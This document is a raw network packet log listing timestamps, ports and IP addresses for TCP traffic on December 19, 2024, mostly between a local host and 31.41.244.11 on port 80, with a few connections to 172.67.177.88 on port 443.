Dec 19, 2024 14:10:30.362622023 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.362675905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.362958908 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.363014936 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.363070965 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.363184929 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.363837004 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.363887072 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.363929033 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.363975048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.364403009 CET	49808	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:30.364567995 CET	49808	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:30.364600897 CET	443	49808	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:30.364658117 CET	49808	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:30.364667892 CET	443	49808	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:30.364681959 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.364734888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.364770889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.364823103 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.365493059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.365602970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.365638018 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.365669966 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.366327047 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.366410017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.366440058 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.366516113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.367181063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.367230892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.367259026 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.367295027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.368000984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.368052006 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.368093967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.368146896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.368830919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.369007111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.369050980 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.369111061 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.369690895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.369750023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.369806051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.369884968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.370526075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.370640993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.370645046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.370697021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.371373892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.371438026 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.371490002 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.371539116 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.372227907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.372265100 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.372307062 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.372358084 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.373027086 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.373096943 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.373128891 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.373198986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.373903036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.373950958 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.374110937 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.374166965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.374710083 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.374772072 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.374917984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.374967098 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.375612974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.375633001 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.375672102 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.375704050 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.376384974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.376458883 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.376580000 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.376631975 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.377219915 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.377269983 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.377346039 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.377427101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.378087997 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.378145933 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.378222942 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.378304005 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.378896952 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.378982067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.379040956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.379093885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.379823923 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.379865885 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.379916906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.380598068 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.380651951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.380692005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.380776882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.381443024 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.381490946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.381594896 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.381642103 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.382294893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.382339954 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.382363081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.382415056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.383094072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.383183956 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.383223057 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.383277893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.383941889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.384001017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.384043932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.384124041 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.384835958 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.384854078 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.384903908 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.385740042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.385792017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.385833979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.385879993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.386523008 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.386646032 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.386718988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.386780977 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.387496948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.387639046 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.387662888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.387716055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.388142109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.388206005 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.388252020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.388360023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.389046907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.389149904 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.389168024 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.389246941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.389816999 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.389888048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.389925003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.389976978 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.390803099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.390855074 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.391025066 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.391073942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.391834021 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.391891956 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.391900063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.391963959 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.392352104 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.392404079 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.392438889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.392499924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.393202066 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.393261909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.393301010 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.393362045 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.394098997 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.394149065 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.394190073 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.394274950 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.394915104 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.394987106 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.394996881 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.395049095 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.395729065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.395798922 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.395807028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.395874023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.396596909 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.396701097 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.396708012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.396776915 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.397401094 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.397497892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.397516012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.397567034 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.398293972 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.398415089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.398473978 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.398529053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.399135113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.399168968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.399187088 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.399216890 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.400089979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.400166988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.400173903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.400234938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.401122093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.401213884 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.540052891 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.540092945 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.540118933 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.540164948 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.540410042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.540482044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.540515900 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.540575027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.541320086 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.541369915 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.541379929 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.541446924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.542088032 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.542145967 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.542462111 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.542562962 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.542954922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.543006897 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.543170929 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.543260098 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.543796062 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.543940067 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.543996096 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.544611931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.544677973 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.544747114 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.554724932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.554786921 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.554867983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.554944038 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.555143118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.555205107 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.555254936 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.555332899 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.555830956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.555891991 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.555895090 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.555951118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.556647062 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.556715012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.556727886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.556787014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.557316065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.557369947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.557404995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.557440996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.558119059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.558204889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.558228016 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.558260918 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.558916092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.558984995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.559031963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.559104919 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.559750080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.559796095 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.559856892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.559906006 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.560647964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.560693979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.560705900 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.560739994 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.561439991 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.561487913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.561496019 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.561542034 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.562313080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.562371969 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.562469959 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.562525988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.563142061 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.563224077 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.563262939 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.563335896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.563967943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.564030886 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.564063072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.564121008 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.564805984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.564862967 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.564905882 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.564990044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.565634966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.565747976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.565752029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.565812111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.566513062 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.566569090 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.566642046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.566703081 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.567337990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.567426920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.567456007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.567512989 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.568165064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.568267107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.568283081 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.568312883 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.569003105 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.569076061 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.569159031 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.569214106 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.569875956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.569927931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.569935083 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.569986105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.570671082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.570729017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.570786953 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.570862055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.571556091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.571608067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.571628094 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.571677923 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.572366953 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.572442055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.572453022 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.572503090 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.573327065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.573385000 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.573414087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.573470116 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.574055910 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.574115992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.574161053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.574239016 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.574888945 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.574945927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.575040102 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.575120926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.575763941 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.575819016 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.575829029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.575895071 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.576560974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.576613903 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.576621056 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.576663971 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.577440023 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.577491999 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.577493906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.577544928 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.578274012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.578320980 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.578349113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.578423023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.579073906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.579128027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.579134941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.579174995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.579973936 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.580029011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.580080986 CET	80	49800	31.41.244.11	192.168.2.4
